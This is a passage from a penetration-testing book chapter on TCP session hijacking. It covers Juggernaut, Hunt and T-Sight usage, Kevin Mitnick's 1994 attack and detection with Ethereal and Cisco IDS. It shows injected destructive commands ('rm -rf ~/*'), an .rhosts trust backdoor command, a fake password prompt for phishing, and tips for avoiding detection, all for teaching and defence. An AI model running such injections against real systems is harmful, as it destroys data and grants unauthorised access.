TCP sequence numbers. If the sequence \nnumber is less than the current sequence number sent between the targets, the packet is \ndropped. However, if the packet is greater than the current sequence number yet still within \nthe window size, the data is held and considered an out-of-sequence packet. Of course, this \nrequires more packets to be sent with lower sequence numbers to fill the gap, so guessing \nTCP sequence numbers correctly is important.\nClient\nServer\nSeq = 1 Win = 5\nSeq = 2 Win = 5\nSeq = 3 Win = 5\nSeq = 4 Win = 5\nSeq = 5 Win = 5\nAck = 6\n" }, { "page_number": 158, "text": "Tools\n131\nLuckily, some platforms make it easy to guess their sequence number increment. RFC 793 \nstates that hosts should increment the four-byte sequence number counter by one ever 4 \nmicroseconds. Most platforms are nonconformists and implement their own method of \nincrementing sequence numbers. BSD and Linux increment their sequence number by \n128,000 every second. This results in their sequence numbers wrapping back to one every \n9.32 hours. However, each time a TCP connect() is made to establish a TCP session, the \nsequence number is incremented by 64,000 every second for the duration of the session. \nThis makes sequence number guessing more predictable and thus more favorable to those \nwho are performing session hijacking attacks.\nNOTE\nMany packet sniffers use relative sequence numbers, in which the initial sequence number \nis listed as zero. This is a bit misleading because in reality, your initial sequence number is \ndifferent for every session. \nWith blind hijacking, you need to effectively guess both the sequence numbers and window \nsizes of two hosts. Like the term suggests, blind hijacking is like shooting in the dark; you \njust do not know when you will get an accurate guess. Active hijacking, in contrast, is much \neasier and much more commonly attempted. Several tools can assist in making active \nhijacking easier to perform, as the sections that follow describe. \nTools\nNow that you have learned about the theory behind session hijacking, it is time to learn \nabout a few tools used in session hijacking attacks. This section discusses the following \ntools:\n•\nJuggernaut\n•\nHunt\n•\nTTY Watcher\n•\nT-Sight\nJuggernaut\nJuggernaut, like most of the session hijacking tools, is a Linux–based tool. This tool was \ncreated by someone with the handle of ‘route’ and was first introduced in volume 7, issue \n50 of Phrack Magazine. You can view this posting, which includes the source code, at http:/\n/www.phrack.org/show.php?p=50&a=6. Juggernaut is an older tool, yet it is still popular \nfor some of its unique features.\n" }, { "page_number": 159, "text": "132\nChapter 6: Understanding and Attempting Session Hijacking\nOne of the features that makes Juggernaut a popular tool is its capability to watch all traffic \nor watch traffic for a particular keyword (such as password). The malicious hacker or \npenetration tester can watch all sessions and pick the session that he or she wants to hijack. \nAnother benefit of Juggernaut is the included option of performing the traditional \ninteractive session hijack or a simplex connection hijack. A simplex hijack is also called a \nsimple hijack by many tools. A simplex hijack allows you to inject a single command into \na Telnet stream. This command can be something like cat /etc/password/ to grab password \ninformation from a Linux host. Doing a few single commands is less noticeable than a full \nsession hijack, increasing the chances that your attack will go unnoticed. \nThe final benefit of Juggernaut is its built-in function of packet assembly. This enables you \nto create your own packet with header flags set any way you like. This is an advanced \nfeature of Juggernaut that becomes useful in unique situations such as when you want to \ncreate a custom packet that is fragmented into multiple segments. Some intrusion detection \nsystems (IDSs) and firewalls do not track fragmented packets, so you can use this option to \ncreate customized packets to bypass some security devices. \nWhen you launch Juggernaut from a Linux command line, you see the menu in Example 6-1.\nThe connection database option (1) shows you active sessions. Note that in a switched \nenvironment, you cannot see sessions unless you have configured port monitoring on the \nswitch.\nIn Example 6-2, you can see that two Telnet sessions (destination TCP port 23) are open to \n10.18.12.15. You can spy on the connection with option 2. This allows you to monitor all \nactivity between two hosts. You also have the option to log the traffic to a file. By default, \nno logging is performed.\nExample 6-1\nJuggernaut Menu\nJuggernaut\n?) Help\n0) Program information\n1) Connection database\n2) Spy on a connection\n3) Reset a connection\n4) Automated connection reset daemon\n5) Simplex connection hijack\n6) Interactive connection hijack\n7) Packet assembly module\n8) Souper sekret option number eight\n9) Step down\nExample 6-2\nUsing Juggernaut to View Active Telnet Sessions \nCurrent Connection Database:\n------------------------------------------\nref # source target\n" }, { "page_number": 160, "text": "Tools\n133\nOne of the drawbacks to Juggernaut is that no passwords are sent from the monitored host \nto your computer. You can use another packet sniffer of your choosing (such as Ethereal) to \nview this information. \nTo perform a simple hijack, choose option 5, which enables you to enter a single command \nto the target. This is the safest option to prevent you from being detected. Example 6-3 \nshows a command that erases all files in the home directory of the user after you choose the \nconnection.\nFollowing is a description of the other options available with Juggernaut:\n•\nReset a connection (option 3)—This sends an RST packet to the source to close a \nsession.\n•\nAutomated connection reset daemon (option 4)—This option lets you choose a host \nbased on IP address that you want to automatically send RST packets to every time \nthat host attempts to establish a session.\n•\nInteractive connection hijack (option 6)—This performs a full session hijack. It can \ncreate a large ACK storm. The topic of ACK storms is discussed later in this chapter.\n•\nPacket assembly module (option 7)—Choosing this option lets you form your own \npacket.\n•\nSouper sekret option number eight (option 8)—This option has no functionality.\n•\nStep down (option 9)—Exit the program.\n(1) 10.18.12.99 [1033] 10.18.12.15 [23]\n(2) 10.18.12.15 [1241] 10.18.12.15 [23]\n Choose a connection [q] >1\nDo you wish to log to a file as well? [y/N] >y\nSpying on connection, hit ’ctrl-c’ when done.\nSpying on connection: 10.18.12.99 [1033] --> 10.18.12.15 [23]\n/$cd ~/Documents\n/home/Dayna/Documents$ls\n1stQrtrReport.doc\nPayroll.xls\n$\nExample 6-3\nSimplex Hijack: Executing a Single Command on a Target\nChoose a connection [q] >1\nEnter the command string you wish executed [q] > rm –rf ~/*\nSpying on connection, hit ’ctrl-c’ when you want to hijack.\nNOTE: This may cause an ACK storm until client is RST.\nSpying on connection: 10.18.12.99 [1033] --> 10.18.12.15 [23]\nExample 6-2\nUsing Juggernaut to View Active Telnet Sessions (Continued)\n" }, { "page_number": 161, "text": "134\nChapter 6: Understanding and Attempting Session Hijacking\nHunt\nHunt, created by Pavel Krauz and available at http://packetstorm.linuxsecurity.com/\nsniffers/hunt/, has many similarities to Juggernaut. Like Juggernaut, it runs on Linux, \nenables you to watch all TCP traffic, and gives you the option of doing a simple session \nhijack or a simple hijack. One of the advantages of Hunt over Juggernaut is its capability \nto reset connections after you are done with the hijack. You can return control to the \noriginating host which, if done soon enough, can make the session go completely unnoticed \nby the host and target. Juggernaut, on the other hand, requires you to perform a DoS attack \non the host. That attack not only drops the connection to the target, but it also prevents all \ncommunication of the host on the network. This in turn alerts the user to contact the help \ndesk, raising suspicion of a possible attack. By returning control to the host, Hunt avoids \nthis problem by making the temporary loss of communication to the target a network \n“glitch” that others quickly forget about.\nAfter you launch Hunt, you see the menu in Example 6-4.\nThe selections do the following:\n•\nList connections—Show all active connections.\n•\nWatch connections—Watch traffic from a particular source and destination of your \nchoosing.\n•\nReset connections—Reset a connection based on source or destination IP address.\n•\nHost up tests—Show you which hosts are up. This also gives you the option of \nchoosing an unused MAC address on the network.\n•\nARP—Spoof a MAC address.\n•\nSimple hijack—Inject a single command. This is the same as the simplex hijack in \nJuggernaut.\n•\nDaemons—Set options for RST, ARP, sniffing, and MAC daemons.\n•\nOptions—Set program options such as base MAC address and timeout values.\nExample 6-4\nHunt Menu\nl/w/r) list/watch/reset connections\nu) host up tests\na) arp/simple hijack (avoids ack storm if arp is used)\ns) simple hijack\nd) daemons rst/arp/sniff/mac\no) options\nx) exit\n*>\n" }, { "page_number": 162, "text": "Tools\n135\nExample 6-5 shows a hijack of an active Telnet session.\nIn this example, a simple hijack is performed against the 10.12.18.99 host as it connects to \nthe 10.12.18.15 computer via Telnet (destination TCP port 23). Executing the rm –rf ~/*\ncommand deletes all files in the home directory of that user. To properly synchronize the \nsequence numbers, Hunt might send a message to the user to type additional characters to \npad the communication with additional bytes. In the output given from Example 6-5, the \nuser is prompted to type 12 characters with the following message:\nmsg from root: power failure – try to type 12 chars\nThis is one of the major drawbacks to Hunt because most UNIX and Linux users would \nrecognize this as abnormal behavior and report it to their administrator. Their administrator \n(after reading this book) would know that this message was sent by Hunt and would begin \ninvestigating the source of the attack. Still, some Linux and UNIX users might not think \nmuch of this message and would do as it says, padding the data so that the sequence \nnumbers stay synchronized.\nExample 6-5\nUsing Hunt to Hijack an Active Telnet Session\n/*\n* Hunt 1.0\n* multipurpose connection intruder / sniffer for Linux\n* 1998 by kra – http://www.rootshell.com \n*/\nstarting hunt\n---Main Menu---rcvpkt 0, free/alloc pkt 63/64.\nl/w/r) list/watch/reset connections\nu) host up\na) arp/simple hijack (avoids ack storm if arp used)\ns) simple hijack\nd) daemons rst/arp/sniff/mac\no) options\nx) exit – [ http://www.rootshell.com/ ] –\n> a\n0) 10.12.18.99 [1421] --> 10.12.18.15[23]\n1) 10.12.18.134 [1049] --> 10.12.18.15 [23]\nchoose conn> 0\narp spoof src in dst y/n [y]> y\nsrc MAC [EA:1A:DE:AD:BE:03]>\ndst MAC [EA:1A:DE:AD:BE:04]>\ndump connection y/n [y]>n\npress key to take over connection\nCTRL-] to break\nrm –rf ~/*\n[r]reset connection/[s]ynchronize/[n]one [r]> s\nuser have to type 12 characters and print 29 characters to synchronize connection\nCTRL-C to break\nDone\n" }, { "page_number": 163, "text": "136\nChapter 6: Understanding and Attempting Session Hijacking\nTTY-Watcher\nTTY-Watcher (available at http://www.engarde.com/software/) is different from Hunt and \nJuggernaut in that it monitors and hijacks sessions on a single system. At press time, TTY-\nWatcher works only on Sun Solaris systems. When users are connected to the Solaris \nsystem, all data from their Terminal Type (TTY) session is copied over to your TTY \nwindow. Figure 6-4 shows this process.\nFigure 6-4\nTTY-Watcher Operation\nTTY-Watcher also has the option of sending a message to the user. The message could be \nsomething like this:\nYour connection has logged out. Please enter your password again.\nLogin: \nOf course, when the user enters this at the command line, he receives an error because his \noriginal TTY application interprets his password as a command. This is only an example of \nwhat can happen with the send feature; the possibilities are limited only by your \nimagination.\nT-Sight\nT-sight is a commercial tool developed by Engarde (http://www.engarde.com/software/) \nthat runs on Windows platforms. T-sight was originally designed as a security tool to \nmonitor your network for suspicious activity. All communication is copied in real-time, \ngiving you accurate output of data being transmitted on your network. However, in the \nprocess of monitoring, you can hijack the session. Because of this intrusive option, Engarde \nlicenses its software only to predetermined IP addresses. \nYou can view a tutorial of T-sight at http://www.engarde.com/software/t-sight/tutorial/\nrealtime/index.php.\nUser\nActivity\nMalicious\nHacker\nData Is Copied to TTY Window of Malicious Hacker\nSun Solaris System\n" }, { "page_number": 164, "text": "Beware of ACK Storms 137\nOther Tools\nThe tools mentioned in this chapter are only a sample of software and code available to \nperform session hijacking. Other tools include the following:\n•\nIP-Watcher (http://www.engarde.com)\n•\nRemote TCP Session Reset Utility (http://www.solarwinds.net)\n•\n1644 (http://www.insecure.org)\n•\nRbone (http://www.packetstormsecurity.com)\n•\nSynk4.c (http://www.packetstormsecurity.com)\n•\nSSHMITM (http://www.monkey.org/~dugsong/dsniff/)\n•\nC2MYAZZ (http://www.antiserver.it/Win%20NT/Penetration/)\n•\nUDP Spoofer (http://www.deter.com/unix/software/arnudp.c)\n•\nHjksuite (http://www.l0t3k.org/security/tools/hijacking/)\n•\nP.A.T.H. (http://www.l0t3k.org/security/tools/hijacking/)\nBeware of ACK Storms\nAfter you perform a few session hijacks, you will discover the dangers of ACK storms. \nACK storms will soon become your greatest nemesis because they can flood your network \nwith ACK packets and potentially take down your network. Because one of the goals of \npenetration testing is to perform your testing unnoticed, this is a sure way of alerting \nadministrators of an attack taking place. (Of course, if you are attempting a DoS attack \nagainst your target network, a session hijack gone bad is a great way to do this.)\nEarlier, you learned of the importance of TCP sequence number prediction. When you send \nthe wrong sequence number, the receiver assumes that the last acknowledgement was lost \nand it resends the last acknowledgement. In response, the original host returns its own \nacknowledgement in an attempt to resynchronize sequence numbers. In normal TCP \noperation, this is ideal because it allows for reliable communication. However, when a \nmalicious hacker or penetration tester is injecting packets with incorrect sequence numbers, \nthe acknowledgements sent between the host and target increase exponentially and could \ntake down the network. Figure 6-5 demonstrates how this happens.\nFigure 6-5\nACK Storm\nVictim\n(Client)\nTarget\n(Server)\nAttacker\nCorrect Sequence Number\nInjects Packet Containing\n1\nResends Last ACK in\nAttempt to Resynchronize\n3\nin Response\nSends ACK to ‘Real’ Client\n2\nCreates ACK Storm as \nand Are Repeated\n3\n2\n" }, { "page_number": 165, "text": "138\nChapter 6: Understanding and Attempting Session Hijacking\nBecause you are spoofing the host IP address, the ACK packets are sent to the original host \nin an attempt to resynchronize sequence numbers.\nYou can circumvent the problems with ACK storms in two ways:\n•\nExecute a DoS attack against the host\n•\nUse the Hunt tool\nDoS attacks have been the traditional technique (but not the most effective) for preventing \nACK storms. Figure 6-6 shows what happens with this approach. Here you are still spoofing \nthe originating host, but because you have done a DoS attack against the host to take it out \nof commission, the target sends ACK packets to resynchronize sequence numbers to you \ninstead of the host. \nFigure 6-6\nDoS to Prevent ACK Storms \nThis approach works, but it is not the most effective. Many host-based intrusion detection \ntools and personal firewalls would notice a DoS attack. Because you want to attack without \ndrawing attention to yourself, DoS attacks are not the best method to use when hijacking \nsessions.\nA better approach is to use the Hunt tool. Hunt prevents ACK storms through spoofing the \nMAC address of both the target and the host. Figure 6-7 illustrates this technique. \nFigure 6-7\nHunt ARP Spoofing\nIn Figure 6-7, a gratuitous ARP is sent to both the host and the target. A gratuitous ARP is \nan ARP reply that is sent unsolicited. That is, it is information about the IP and MAC \naddress of a machine that is sent to other devices without first being queried for this \ninformation. Included in the gratuitous ARP information is the IP address of the target or \nhost IP address with the associated MAC address of the attacker. This way, when the host \nsends traffic to the target, it is actually sent to the attacker (and vice versa). Subsequently, \nVictim\n(Client)\nAttacker\nTarget\n(Server)\nDoS Attack\nIncorrect Sequence Number\nSpoofing IP Address of Victim\nACK to Resynchronize\nSequence Numbers\nVictim\n(Client)\nAttacker\nTarget\n(Server)\nUnsolicited ARP Reply\nIP = Victim; MAC = Attacker\nTraffic Intended for Victim\nTraffic Intended for Target\nUnsolicited ARP Reply\nIP = Target; MAC = Attacker\n" }, { "page_number": 166, "text": "Kevin Mitnick’s Session Hijack Attack 139\nthe attacker is the MITM who can either forward traffic to its destination or hijack the \nsession. Either way, ACK storms are minimized without the use of noisy DoS attacks.\nKevin Mitnick’s Session Hijack Attack\nProbably the most famous session hijacking attack is that done by Kevin Mitnick against \nthe computers of Tsutomu Shimomura at the San Diego Supercomputer Center on \nChristmas day, 1994. Because of its historical significance and brilliant approach to session \nhijacking, it is worth mentioning here. The exploit was accomplished in ten steps:\nStep 1\nUse finger, showmount, and rpcinfo against target.\nStep 2\nFill target queue with half-open TCP connections.\nStep 3\nDetermine the initial sequence number (ISN).\nStep 4\nLaunch an xterm rshell daemon.\nStep 5\nSpoof the reply.\nStep 6\nExtend access by modifying the .rhosts file.\nStep 7\nSend FIN message to clear connection.\nStep 8\nSend RST to clear target queue.\nStep 9\nCompile and install tap-2.01 kernel module.\nStep 10 Hijack session from workstation to target.\nNOTE\nTsutomu Shimomura publicized the attack method in several security newsgroups. You can \nread his detailed analysis of the attack at http://www.gulker.com/ra/hack/tsattack.html. \nMitnick began by launching his attack from a computer on a compromised host on the \ntoad.com network (managed by John Gilmore). From this host, he executed the UNIX \ncommands finger, showmount, and rpcinfo, as illustrated in Figure 6-8. \nFigure 6-8\nStage One\nKevin\nMitnick\nToad.com\nServer\nTarget\nServer\nfinger; showmount; rpcinto\nInternet\n" }, { "page_number": 167, "text": "140\nChapter 6: Understanding and Attempting Session Hijacking\nNext, Mitnick sent 30 SYN packets from an unused IP address, as illustrated in Figure 6-9. \nIn doing so, he filled up the server queue with half-open TCP connections (sometimes \ncalled TCP embryonic connections).\nFigure 6-9\nStage Two\nMitnick then had to determine the ISN to be used in attacking the server of Shimomura. He \ndid this by sending TCP packets to a diskless workstation on the Shimomura network from \na compromised host on the luc.edu network. The luc.edu host sends RST packets after \nevery SYN-ACK response from the diskless workstation so as not to fill up the workstation \nqueue and raise suspicion. (See Figure 6-10.) By listening to the SYN-ACK responses from \nthe workstation, Mitnick was able to see that the sequence number incremented by 128,000 \neach time.\nFigure 6-10 Stage Three\nIn stage four, Mitnick spoofs the target server and attempts to launch the rshell daemon to \nthe workstation. When the workstation sends a SYN-ACK reply to the real server, the \nserver ignores the packet because its queue is filled (done in stage two). Figure 6-11 \nillustrates stage four of the attack.\nKevin\nMitnick\nTarget\nServer\n30 SYN Packets\n– Unused Source IP Address\nSYN-ACK Packets\nInternet\n30 SYN Packets\n– Unused Source IP Address\nKevin\nMitnick\napollo.it.luc.edu\nTarget Server\nDiskless\nWorkstation\nSYN Packets\nRST Packets\nSYN-ACK Response\nInternet\n" }, { "page_number": 168, "text": "Kevin Mitnick’s Session Hijack Attack 141\nFigure 6-11 Stage Four\nMitnick continues to spoof the real server and returns an ACK to the workstation. The \nsequence number is predicted using the information gathered in stage three. This completes \nthe three-way TCP handshake to form a session. Figure 6-12 illustrates stage five of the \nattack.\nFigure 6-12 Stage Five\nNow that an rshell connection exists from the spoofed server to the workstation, Mitnick \nlaunches the following command:\n#rsh x-terminal “echo ++ >> /.rhosts”\nThe .rhosts file defines which remote hosts can invoke commands without supplying a \npassword. The plus sign signifies that any host is trusted. Mitnick now has full access to the \nworkstation. Figure 6-12 illustrates stage six of the attack.\nFigure 6-13 Stage Six\nKevin\nMitnick\nDiskless\nWorkstation\nTarget\nServer DoS\nInternet\nSYN-ACK\n(Ignored)\nXterm Rhsell Daemon\n(Spoofing Target Server)\nXterm Rhsell Daemon\n(Spoofing Target Server)\nDiskless\nWorkstation\nTarget\nServer DoS\nInternet\nACK (Sequence\nNumber Guessed)\nACK (Sequence\nNumber Guessed)\nKevin\nMitnick\nDiskless\nWorkstation\nTarget\nServer DoS\nInternet\nrsh x-terminal\n“echo ++>>/.rhosts”\nrsh x-terminal\n“echo ++>>/.rhosts”\nKevin\nMitnick\n" }, { "page_number": 169, "text": "142\nChapter 6: Understanding and Attempting Session Hijacking\nNext, Mitnick has to clear the session from his machine (spoofing as the server) to the \ndiskless workstation. He does this by sending a FIN packet indicating to the workstation \nthat the TCP session should be closed, as illustrated in Figure 6-14.\nFigure 6-14 Stage Seven\nIn stage eight, Mitnick clears out the queue on the real server so that communication can \nbe established to it. Because he filled the queue with 30 SYN packets (stage two), he now \ncloses it with 30 RST (reset) packets, as illustrated in Figure 6-15.\nFigure 6-15 Stage Eight\nMitnick now accesses the workstation with the same spoofed address in stage two and \nseven and compiles and installs a STREAMS module called tap-2.01, as illustrated in \nFigure 6-16. This kernel module allows Mitnick to perform a session hijack similar to that \ninvoked with TTY-Watcher.\nFigure 6-16 Stage Nine\nDiskless\nWorkstation\nTarget\nServer DoS\nInternet\nFIN\nKevin\nMitnick\nFIN\nDiskless\nWorkstation\nTarget\nServer DoS\nInternet\n30 RST Packets\nKevin\nMitnick\n30 RST Packets\nDiskless\nWorkstation\nTarget\nServer DoS\nInternet\nCompile and Install\nTap-2.01\nKevin\nMitnick\nCompile and Install\nTap-2.01\n" }, { "page_number": 170, "text": "Detecting Session Hijacking 143\nAt this point, Kevin looks for an already authenticated session between the workstation and \nthe target server. Using his session hijacking tool, he hijacks a session and gains access to \nthe target server at 2:51 p.m. Christmas day, as illustrated in Figure 6-17.\nFigure 6-17 Stage Ten\nIt took a total of 42 minutes for Kevin Mitnick to hijack a system and gain control of the \nserver of Tsutomu Shimomura. \nDetecting Session Hijacking\nSession hijacking can be difficult to detect and goes completely unnoticed in most cases \nunless the attacker causes severe damage or draws attention to his presence in the system. \nUsers might notice a few symptoms during a hijacking. For example, their client \napplication (Telnet) session stops responding or freezes. Another symptom is a burst of \nnetwork activity for a short period, which slows down the computer. \nAnother common symptom is when the client application hangs for some time because you \nare actually competing with the hijacker, who is also sending data to the server. This causes \nthe program to become confused and wait for a response from Layer 4. Next is the network \nthat becomes busy because of an ACK storm between the original client and the server \nwhen the hijacked client attempts to send more data to the server that is out of sync with \nwhat the server is expecting. However, normal and even advanced computer users rarely \nreport these two symptoms because the problems look so much like other common issues, \nsuch as applications crashing, busy servers, or a network under heavy load-dropping \nconnections. \nA user who is experiencing a “hanging” application usually just closes the original and \nopens another. In the meantime, the hacker is probably having a heyday with the previously \nauthenticated session created by the real user.\nSecurity professionals can use a few tools to help in detection. Packet sniffers and IDSs are \nthe two discussed in the sections that follow. Always monitor SANS or other great security \nwebsites for newer tools to use. \nDiskless\nWorkstation\nTarget\nServer\nInternet\nKevin\nMitnick\nKevin\nMitnick\nData\nDoS\nSpoofed\nData\n" }, { "page_number": 171, "text": "144\nChapter 6: Understanding and Attempting Session Hijacking\nTIP\nSwitches cannot completely stop session hijacking; however, implementing a switched \nnetwork can make attacks significantly more difficult for the attacker.\nNOTE\nSession hijacking can affect all operating systems because it is not really an operating \nsystem issue. The problem lies within the TCP and how it was engineered—its primary \npurpose being to ensure highly reliable data transmission.\nThe sections that follow examine both of these tools in action when monitoring and \ndetecting a standard session being hijacked. To set the scene, Figure 6-18 displays the \nnetwork with all connections via a simple hub. \nFigure 6-18 Detection Network\nThe parameters for this network are as follows:\n•\nTypical client \n— OS: Linux\n— IP address: 192.168.200.21 \n— MAC address: 00-11-2F-0F-6E-DB\n— Application: Telnet client\n•\nTelnet server (victim)\n— OS: Windows 2003 Server\n— IP address: 192.168.200.100\nClient\nOS: Linux\nIP: 192.168.200.21\nMAC: 00-11-2F-0F-6E-DB\nTelnet Server (Victim)\nOS: Windows 2003 Server\nIP: 192.168.200.100\nMAC: 00-50-56-00-EE-EE\nEvil Jimmy (T-Sight)\nOS: Windows 2000\nIP: 192.168.200.13\nMAC: 00-50-56-00-0B-AD\nEthereal\n(Packet Sniffer)\nTelnet Connection\nHijacking\n" }, { "page_number": 172, "text": "Detecting Session Hijacking 145\n— MAC address: 00-50-56-00-EE-EE\n— Application: Telnet server (port 23)\n•\nAttacker (Evil Jimmy the Hacker)\n— OS: Windows 2000 Professional\n— IP address: 192.168.200.13\n— MAC address: 00-50-56-00-0B-AD\n— Application: T-sight (for attack)\n•\nEthereal (packet sniffer)\nIn Figure 6-18, the Linux client will be connecting to the Windows 2003 Server via Telnet. \nYou might wonder why anyone would want to control a Windows server in this way. Well, \nno good old-timer *nix or Linux person would use a GUI to administer a server (even a \nWindows one). If you dig deep into Windows 2003, it is rare for an administrative task to \nbe exposed to command-line entry, which is quite handy. Administrators can add, update, \nand remove items via the command line (Telnet) to active directory. In reality, the \ndemonstration holds for several scenarios, and you might equally be Telneting to a Cisco \nrouter or PIX Firewall with the Telnet server feature enabled and witness the same results. \nDetecting Session Hijacking with a Packet Sniffer\nYou can use a packet sniffer to monitor a hijacking; however, it can be a little difficult if you \ndo not know which traffic is significant. You need to watch out for three things:\n•\nARP updates (repeated)\n•\nFrames sent between client and server with different MAC addresses\n•\nACK storms\nKeep these three items in mind as you move through the process.\nConfiguring Ethereal\nIn the following example, Ethereal (http://www.ethereal.com) will be used as the packet \nsniffer to monitor a session hijacking attempt. The steps to configure Ethereal are as \nfollows:\nStep 1\nStart Ethereal.\nStep 2\nSelect Start from the Capture menu on the toolbar or press Ctrl-k. (See \nFigure 6-19.)\n" }, { "page_number": 173, "text": "146\nChapter 6: Understanding and Attempting Session Hijacking\nFigure 6-19 Ethereal\nStep 3\nIn the Capture Options dialog box, in the Display Options section, select \nand enable the following: \n— Update list of packets in real time.\n— Automatic scrolling in live capture.\n— Hide capture info dialog. (See Figure 6-20.) \nClick OK.\nStep 4\nEthereal should now be in sniffing mode. When traffic starts to be \ndetected, you will see packets of data.\n" }, { "page_number": 174, "text": "Detecting Session Hijacking 147\nFigure 6-20 Ethereal: Capture Options\nWatching a Hijacking with Ethereal\nNow that you have your packet sniffer up and running, you will be watching a connection \nfrom start to finish. First, notice the initial ARP requests that translate IP-to-MAC address \nbetween the client and server. (See Figure 6-21.) Next in frames 3 through 5, observe the \nthree-way handshake between the Linux client (00-11-2F-0F-6E-DB) and the Telnet server \n(00-50-56-EE-EE-EE). \nAt this point, the hijacker just waits in the background for the Linux user to log in. The \nhijacker could be merely looking to capture the password or perhaps waiting until the \nauthentication has been completed before taking over the session. (See Figure 6-22.) Even \nthough Telnet passwords are readable from a standard network sniffer, some \nimplementations use one-time passwords (OTPs), which are not reusable. Session \nhijacking comes in quite handy in these cases. \n" }, { "page_number": 175, "text": "148\nChapter 6: Understanding and Attempting Session Hijacking\nFigure 6-21 Ethereal: Three-Way Handshake\nOne thing to point out is that the ARP tables of both client and server correctly map to one \nanother. Example 6-6 shows the output of the Windows arp command to demonstrate what \nthe current IP-to-MAC is on the server.\nExample 6-6\nDetermining the IP-to-MAC Address Mapping\nC:/>arp –a\nInterface:\n Internet Address Physical Address Type\n 192.168.200.21 00-11-2F-0F-6E-DB dynamic\n" }, { "page_number": 176, "text": "Detecting Session Hijacking 149\nFigure 6-22 Ethereal: Normal Telnet Data\nNOTE\nThe Windows ARP cache automatically removes idle entries after two minutes, whereas \nactive entries are flushed after ten minutes. Manual entries are not flushed. However, you \ncan amend these parameters in most operating systems.\nNormal traffic flows between the client and the server. Next, see what happens when the \nhacker tries to take over this Telnet session. When T-Sight begins a hijacking, he attempts \nto force a new IP-to-MAC address mapping into the ARP table of the server. Three ARP \nreplies are sent to the server, as shown in frames 109 to 111 of Figure 6-23. (This could be \nthe first symptom of a hijacking.)\n" }, { "page_number": 177, "text": "150\nChapter 6: Understanding and Attempting Session Hijacking\nFigure 6-23 Ethereal: Forcing an ARP Entry\nThis fools the server into thinking that the MAC address for the client at IP address \n192.168.200.21 has changed and the server should update its internal ARP cache to reflect \nthe change. After the server has changed its ARP cache, all IP packets sent to \n192.168.200.21 are encapsulated into a frame that is actually destined to the hacker \ncomputer via Layer 2. Note that T-Sight uses a custom MAC of EA:1A:DE:AD:BE:EF \n(which spells “dead beef”). Example 6-7 shows the server ARP table before and after the \nhijacking.\nExample 6-7\nServer ARP: Before and During Hijacking\n! Before Hijacking Attempt \nC:/>arp –a\nInterface:\n Internet Address Physical Address Type\n 192.168.200.21 00-11-2F-0F-6E-DB dynamic\n! After Hijacked Attempt \nC:/>arp –a\nInterface:\n Internet Address Physical Address Type\n 192.168.200.21 EA-1A-DE-AD-BE-EF dynamic\n" }, { "page_number": 178, "text": "Detecting Session Hijacking 151\nThe server starts, unknowingly, to respond to the hacker computer (MAC address). Next, \nT-Sight picks up where the last sequence numbers left off and allows the hacker to start \nsending data and commands straight to the server. Figure 6-24 shows hijacked traffic, which \nis virtually identical to normal traffic.\nFigure 6-24 Ethereal: Hijacked!\nLayer 3 IP traffic looks like normal traffic, so how can you tell if it is involved in a session \nhijacking? This brings up the second item to look out for. Taking a closer look, you can see \na slight flaw in the Layer 2 frames. The T-Sight hijacker is spoofing frames with the real \nMAC address of the Linux client (00:11:2f:0f:6e:db) and not his own MAC address. This \nis a good way to cover his tracks, except the server in reply is responding and sending \nframes back, not to (00:11:2f:0f:6e:db) but to the MAC address in its current ARP table \n(EA:1A:DE:AD:BE:EF)—the hacker! See frames 112 and 113 in Example 6-8; they show \nthe different MAC address in the frames. This is not normal on a network; MACs in both \ndirections should be the same. \nExample 6-8\nSpoofed MAC Address \n----------\nFrame 112 sent from hijacker to server\n----------\nSource Destination\n192.168.200.21-----> 192.168.200.100\ncontinues\n" }, { "page_number": 179, "text": "152\nChapter 6: Understanding and Attempting Session Hijacking\nThe final symptom is the activity of an ACK storm. As a reminder, while the client and \nserver communicate, the sequence numbers increase in proportion to the amount of data \nthey have sent between each other, as explained previously. When a hijacker takes over a \nsession, the sequence numbers continue to increment as data is sent between the two. If \nenough data is transmitted while the hijacker and server are communicating, the original \nclient (Linux in this case) goes out of sync. This is not a problem as long as the original \nclient does not send packets. However, if the original client types even one character \nresulting in the sending of a packet to the server, the sequence number it sends is goes out \nof sync. This is because it sends the last one remembered, say SEQ 199, which is now out \nof sync for the server (which is expecting SEQ 325). The server that is receiving this older \npacket responds with an ACK back to the client to SEQ 325, not SEQ 199. \nThis is where it starts to get especially interesting. The client resends its data with SEQ 199; \nhowever, the server responds again with an ACK for SEQ 325. The client again sends data \nfor SEQ 199, and the ACK storm begins. The two battle to try to resync each other, which \ntheoretically could go on forever. Figure 6-25 shows an example of an ACK storm \nmonitored with Ethereal. \nEthernet II, Src: 00:11:2f:0f:6e:db, Dst: 00:50:56:ee:ee:ee\n Destination: 00:50:56:ee:ee:ee (192.168.200.100)\n Source: 00:11:2f:0f:6e:db (192.168.200.21)\nInternet Protocol, \n Src Addr: 192.168.200.21 (192.168.200.21) \n Dst Addr: 192.168.200.100 (192.168.200.100)\nTransmission Control Protocol\n Src Port: 32772 (32772)\n Dst Port: telnet (23)\n Seq: 150, Ack: 544, Len: 1\n----------\nFrame 113 Response from server to the client (hacker) \n----------\nSource Destination\n192.168.200.100-----> 192.168.200.21\nEthernet II, Src: 00:50:56:ee:ee:ee, Dst: ea:1a:de:ad:be:ef\n Destination: ea:1a:de:ad:be:ef (192.168.200.21)\n Source: 00:50:56:ee:ee:ee (192.168.200.100)\nInternet Protocol, \n Src Addr: 192.168.200.100 (192.168.200.100)\n Dst Addr: 192.168.200.21 (192.168.200.21)\nTransmission Control Protocol \n Src Port: telnet (23)\n Dst Port: 32772 (32772)\n Seq: 544, Ack: 151, Len: 1\nExample 6-8\nSpoofed MAC Address (Continued)\n" }, { "page_number": 180, "text": "Detecting Session Hijacking 153\nFigure 6-25 Ethereal: ACK Storm\nIf you look closely, you can see Ethereal detailing TCP Dup ACK and TCP Out-of-Order\nmessages. Should you see these scrolling across your network sniffer or IDS, a hijacking \nmight well have taken place. Now the original client is trying to communicate during the \nhijacking. \nTools such as Hunt help prevent ACK storms by changing MACs in ARP tables and making \nthem hard to detect. This adds to the likelihood of a hijacking going unnoticed. Therefore, \nbear in mind that you might not always see ACK storms when a hijacking takes place. \nDetecting Session Hijacking with Cisco IDS\nAs outlined in the previous section, you can use packet sniffing to aid in hijacking detection. \nThe effort and amount of time it would take a network administrator to visually monitor the \ntraffic in real-time, however, does not make for a practical solution for the enterprise. On \nthe other hand, IDSs such as the Cisco network-based 4200 series IDS systems have built-\nin signatures that can detect some forms of hijacking. This section provides examples of \nhow a 4215 might behave during a session hijacking. To set the scene, Figure 6-26 displays \na network with an IDS and a backend console with IDS Event 